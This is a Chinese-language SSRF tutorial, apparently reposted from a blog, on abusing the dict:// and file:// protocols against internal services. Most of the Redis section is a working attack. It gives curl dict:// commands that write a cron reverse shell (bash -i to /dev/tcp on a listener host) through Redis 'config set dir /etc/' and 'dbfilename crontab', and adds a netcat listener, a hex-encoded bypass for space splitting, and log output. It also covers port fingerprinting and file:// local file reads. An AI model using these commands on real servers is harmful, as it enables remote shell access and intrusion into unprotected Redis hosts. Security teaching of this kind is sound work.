SSRF漏洞用到的其他協議(dict協議,file協議)


0x00 引言

當SSRF打內網reids時,若gopher協議用不了,我們也可以用其他協議

 

0x01 dict協議
一、定義:詞典網絡協議,在RFC 2009中進行描述。它的目標是超越Webster protocol,並允許客戶端在使用過程中訪問更多字典。Dict服務器和客戶機使用TCP端口2628。(摘自百度百科)
二、學習參考鏈接:
使用 dictd 搭建 DICT 字典服務器
DICT協議全文
三、DICT協議在SSRF漏洞中使用
在SSRF利用中,gopher協議無疑是最好用的,但gopher協議的使用是有一定條件的,如下:

 

 當gopher協議無法使用時,怎么辦?這時候可以使用dict協議,我們先看執行效果:

 

 由上圖可以發現通過dict協議,可以看出目標端口的指紋信息,通過上圖返回的指紋信息,可以明確,是6379的redis數據庫。OK,現在我們知道,利用dict協議可以探測端口的開放情況和指紋信息,那么dict協議怎么進一步使用?有什么語法?以下為dict協議的使用:

dict://serverip:port/命令:參數向服務器的端口請求為【命令:參數】,並在末尾自動補上\r\n(CRLF),為漏洞利用增添了便利通過dict協議的話要一條一條的執行,而gopher協議執行一條命令就行了。

明白利用方法后,我們可以使用dict協議執行命令,例如可以獲取redis的變量

margine:~ margin$ curl dict://192.168.0.67:6379/get:name
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
$6
Margin
+OK

通過dict協議利用redis的未授權訪問反彈shell的步驟如下:
# 1、開啟反彈shell的監聽
nc -l 9999
# 2、依次執行下面的命令
curl dict://192.168.0.119:6379/set:mars:"\n\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n\n"
curl dict://192.168.0.119:6379/config:set:dir:/etc/
curl dict://192.168.0.119:6379/config:set:dbfilename:crontab
curl dict://192.168.0.119:6379/bgsave

執行時,反彈shell的命令,也就是set:mars:xxx,會因為特殊字符的原因無法寫入到目標的redis中,被被空格所分割導致出現一下情況:

1584705879.520734 [0 172.17.0.1:44488] "set" "mars" "\\n\\n*" "*" "*" "*" "*" "root" "bash" "-i" ">&" "/dev/tcp/192.168.0.119/6789" "0>&1\\n\\n"

根據上圖我們會發現,命令被分割了,看表象感覺像是被空格分割了。此時將反彈shell的命令進行十六進制轉換,變為:

curl dict://192.168.0.119:6379/set:mars:\"\\x0a\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x2a\\x20\\x72\\x6f\\x6f\\x74\\x20\\x62\\x61\\x73\\x68\\x20\\x2d\\x69\\x20\\x3e\\x26\\x20\\x2f\\x64\\x65\\x76\\x2f\\x74\\x63\\x70\\x2f\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x30\\x2e\\x31\\x31\\x39\\x2f\\x39\\x39\\x39\\x39\\x20\\x30\\x3e\\x26\\x31\\x0a\"

以上單引號使用反斜杠\進行轉移,其他數據進行十六進制編碼,執行結果如下,可以發現沒有錯誤了

1584706087.980465 [0 172.17.0.1:44490] "set" "mars" "\n* * * * * root bash -i >& /dev/tcp/192.168.0.119/9999 0>&1\n"

剩下的修改路徑和文件名稱的請求,正常執行即可

但很多時候我們利用ssrf漏洞去攻擊內網服務器的時候,並不知道內網中有什么樣的應用、IP地址是多少、開放了什么端口、端口對應的服務是什么。所以需要先對內網做IP+端口的掃描,如果開放的服務是redis才能使用上文講到的利用方法,對於不同的應用有不同的掃描方法,例如,redis的掃描可以請求以下內容來根據回顯內容進行判斷是否為redis,其他的服務也是同樣道理,只要知道服務的指紋,然后與自己的指紋庫進行比對即可:

curl dict://192.168.0.119:6379/

0x02 file協議

file協議主要用於訪問本地計算機中的文件,命令格式為:

file://文件路徑

使用file協議可以直接讀取目標操作系統的文件,例如使用以下方法來讀取
file協議讀取文件

 

 file協議和http協議有什么區別呢?
(1)file協議主要用於讀取服務器本地文件,訪問的是本地的靜態資源
(2)http是訪問本地的html文件,相當於把本機當作http服務器,通過http訪問服務器,服務器再去訪問本地資源。簡單來說file只能靜態讀取,http可以動態解析
(3)http服務器可以開放端口,讓他人通過http訪問服務器資源,但file不可以
(4)file對應的類似http的協議是ftp協議(文件傳輸協議)
(5)file不能跨域

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM